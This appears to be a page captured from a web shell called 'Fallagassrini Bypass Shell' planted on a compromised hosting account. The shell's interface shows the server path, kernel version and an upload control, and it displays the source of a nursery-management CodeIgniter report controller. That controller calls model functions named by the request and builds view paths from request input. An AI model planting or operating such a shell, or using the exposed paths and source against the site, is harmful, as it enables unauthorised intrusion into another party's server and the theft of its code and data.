? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eldertree/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eldertree/application/controllers/report.php

<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Report extends MY_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->model('mastermodel');
        $this->load->model('reportmodel');
        $this->load->helper('to_pdf');
        $this->load->model('studentmodel');
        $this->load->model('hrmodel');
    }

    function viewinreportsearch($modelfunction, $page, $pagenum)
    {
        $output = $this->reportmodel->$modelfunction($pagenum);
        $data['viewinfo'] = $output['results'];
        $this->load->view('report/' . $page . '', $data);
    }

    function get_post_values()
    {
        $data = array();
        foreach ($_POST as $key => $value)
        {
            if ($key != "submit")
            {
                $data[$key] = $this->input->post($key);
            }
        }
        return $data;
    }

    function addformdisplay($page, $directory, $return_page = '')
    {
        $data = array();
        $data['return_page'] = $return_page;
        $perm = $this->reportmodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 1);
        if (!$perm)
        {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        }
        else
        {
            $this->load->view('' . $directory . '/' . $page . '', $data);
        }
    }

    function addinreport($modelfunction, $page)
    {
        $data = array();
        $postdata = $this->get_post_values();
        $data = $this->reportmodel->$modelfunction($postdata);
        $this->viewinreportsearch($data['resfunction'], $page, $_SESSION['pagenum']);
        $this->load->view('message', $data);
    }

    function deletedata($table, $id, $field)
    {
        $data = array();
        $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 3);
        if (!$perm)
            $data['msg'] = "Permission Denied";
        else
            $data = $this->mastermodel->deletedata($table, $id, $field);
        $arr = array('msg' => $data['msg'], 'res' => $data['res']);
        echo json_encode($arr);
    }

    function edit_page($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['id'] = $id;
            $this->load->view('report/' . $page, $data);
        }
    }

    function single_page($id, $table, $field, $page)
    {
        if ($_SESSION['current_mode'] != "")
        {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        }
        else
        {
            $perm = 1;
        }

        if (!$perm)
        {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        }
        else
        {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['id'] = $id;
            $this->load->view('report/' . $page, $data);
        }
    }

    function generate_report($modelfunction, $page, $view = 'view', $flag = '')
    {
        $data = array();
        $logo = $this->mastermodel->get_single_field_value('nursery', 'logo', 'nursery_id', '1');
        $postdata = $this->get_post_values();
        $data['postdata'] = $postdata;
        $data['modelfunction'] = $modelfunction;
        $data['page'] = $page;
        $_SESSION['postdata'] = $postdata;
        $output = "";
        $output = $this->reportmodel->$modelfunction($postdata);
        $data['report_format'] = $postdata['report_type'];
        $data['postdata'] = $postdata;
        $data['logo'] = $logo;
        $data['view'] = $view;
        $data['nursery'] = $this->mastermodel->get_data_srow('nursery', '1', 'nursery_id');
        if ($modelfunction == "get_attendance_report")
        {
            $class = $this->mastermodel->get_data_srow('class_name', $postdata['class_name_id'], 'class_name_id');
        }
        
        $filename = ltrim($page, "_");
        $page = 'xls' . $page;
        if (!empty($output))
        {
            $data['report'] = $output;
            if ($view == "pdf")
            {
                $html = $this->load->view('report/' . $page . '', $data, TRUE);
                pdf_create($html, $filename, 'true');
            }
            else
                $this->load->view('report/' . $page . '', $data);
        }
        else
        {
            if ($flag == 1)
            {
                $data['report'] = "";
            }
            else
            {
                if ($view == 'view')
                {
                    echo "0";
                }
                else
                {
                    redirect('master/index/' . $_SESSION['current_mode'] . '/11');
                }
            }
        }
    }

    function generate_business_report($modelfunction, $page, $flag = '')
    {
        $data = array();
        $logo = $this->mastermodel->get_single_field_value('nursery', 'logo', 'nursery_id', '1');
        $postdata = $this->get_post_values();
        $data['postdata'] = $postdata;
        $data['student_type'] = $postdata['student_type'];
        $data['modelfunction'] = $modelfunction;
        $data['page'] = $page;
        $_SESSION['postdata'] = $postdata;
        $output = "";
        $output = $this->reportmodel->$modelfunction($postdata);
        $data['report_format'] = $postdata['report_type'];
        $data['postdata'] = $postdata;
        $data['logo'] = $logo;
        $page = 'xls' . $page;
        if (!empty($output))
        {
            $data['report'] = $output;
            //$page = 'xls' . $page;
            $this->load->view('report/' . $page . '', $data);
        }
        else
        {
            if ($flag == 1)
            {
                $data['report'] = "";
                $this->load->view('report/' . $page . '', $data);
            }
            else
            {
                redirect('master/index/' . $_SESSION['current_mode'] . '/11');
            }
        }
    }

    function generate_fee_report($modelfunction, $page, $view = 'view', $flag = '')
    {
        $data = array();
        $logo = $this->mastermodel->get_single_field_value('nursery', 'logo', 'nursery_id', '1');
        $postdata = $this->get_post_values();
        $data['postdata'] = $postdata;
        $data['modelfunction'] = $modelfunction;
        $data['page'] = $page;
        $_SESSION['postdata'] = $postdata;
        $output = "";
        $output = $this->reportmodel->$modelfunction($postdata);
        $data['report_format'] = $postdata['report_type'];
        $data['postdata'] = $postdata;
        $data['logo'] = $logo;
        $data['view'] = $view;
        $filename = ltrim($page, "_");
        $page = 'xls' . $page;

        if (!empty($output))
        {
            $data['report'] = $output['result_list'];
            $data['row_span'] = $output['rowspan'];
//            $data['report'] = $output;
            //$page = 'xls' . $page;
            if ($view == "pdf")
            {
                $html = $this->load->view('report/' . $page . '', $data, TRUE);
                pdf_create($html, $filename, 'true');
            }
            else
                $this->load->view('report/' . $page . '', $data);
        }
        else
        {
            if ($flag == 1)
            {
                $data['report'] = "";
                //  $this->load->view('report/' . $page . '', $data);
            }
            else
            {
                if ($view == 'view')
                {
                    echo "0";
                }
                else
                {
                    redirect('master/index/' . $_SESSION['current_mode'] . '/11');
                }
            }
        }
    }

    function generate_fee_pending_report($modelfunction, $page, $view = 'view', $flag = '')
    {
        $data = array();
        $logo = $this->mastermodel->get_single_field_value('nursery', 'logo', 'nursery_id', '1');
        $postdata = $this->get_post_values();
        $data['postdata'] = $postdata;
        $data['modelfunction'] = $modelfunction;
        $data['page'] = $page;
        $_SESSION['postdata'] = $postdata;
        $output = "";
        $output = $this->reportmodel->$modelfunction($postdata);
        $data['report_format'] = $postdata['report_type'];
        $data['postdata'] = $postdata;
        $data['logo'] = $logo;
        $data['view'] = $view;
        $filename = ltrim($page, "_");
        $page = 'xls' . $page;

        if (!empty($output))
        {
            $data['report'] = $output['student_fee_details'];
            $data['row_span'] = $output['rowspan'];
            $data['accademic_year'] = $output['accademic_year'];
            $data['term'] = $output['term'];
            $data['student_monthly_fee_details'] = $this->reportmodel->get_student_monthly_fee_details();
            $data['student_fee_paid_details'] = $this->reportmodel->get_student_fee_paid_details($postdata);
//            var_dump($data);die();
            if ($view == "pdf")
            {
                $html = $this->load->view('report/' . $page . '', $data, TRUE);
                pdf_create($html, $filename, 'true');
            }
            else
                $this->load->view('report/' . $page . '', $data);
        }
        else
        {
            if ($flag == 1)
            {
                $data['report'] = "";
                //  $this->load->view('report/' . $page . '', $data);
            }
            else
            {
                if ($view == 'view')
                {
                    echo "0";
                }
                else
                {
                    redirect('master/index/' . $_SESSION['current_mode'] . '/11');
                }
            }
        }
    }
    
    function generate_class_register_report($modelfunction, $page, $view = 'view', $flag = '')
    {
        $data = array();
        $logo = $this->mastermodel->get_single_field_value('nursery', 'logo', 'nursery_id', '1');
        $postdata = $this->get_post_values();
        $data['postdata'] = $postdata;
        $data['modelfunction'] = $modelfunction;
        $data['page'] = $page;
        $_SESSION['postdata'] = $postdata;
         
        $data['class'] = $this->mastermodel->get_data_srow('class_room',$postdata['class_room_id'],'class_room_id');
        $output = $this->reportmodel->$modelfunction($postdata);
        $data['report_format'] = $postdata['report_type'];
        $data['postdata'] = $postdata;
        $data['logo'] = $logo;
        $data['view'] = $view;
        $data['nursery'] = $this->mastermodel->get_data_srow('nursery', '1', 'nursery_id');
        
        $filename = ltrim($page, "_");
        $page = 'xls' . $page;
        if (!empty($output))
        {
            $data['report'] = $output;
            if ($view == "pdf")
            {
                $html = $this->load->view('report/' . $page . '', $data, TRUE);
                pdf_create($html, $filename, 'true');
            }
            else
                $this->load->view('report/' . $page . '', $data);
        }
        else
        {
            if ($flag == 1)
            {
                $data['report'] = "";
            }
            else
            {
                if ($view == 'view')
                {
                    echo "0";
                }
                else
                {
                    redirect('master/index/' . $_SESSION['current_mode'] . '/11');
                }
            }
        }
    }

}

/* End of file report.php */
/* Location: ./application/controllers/report.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net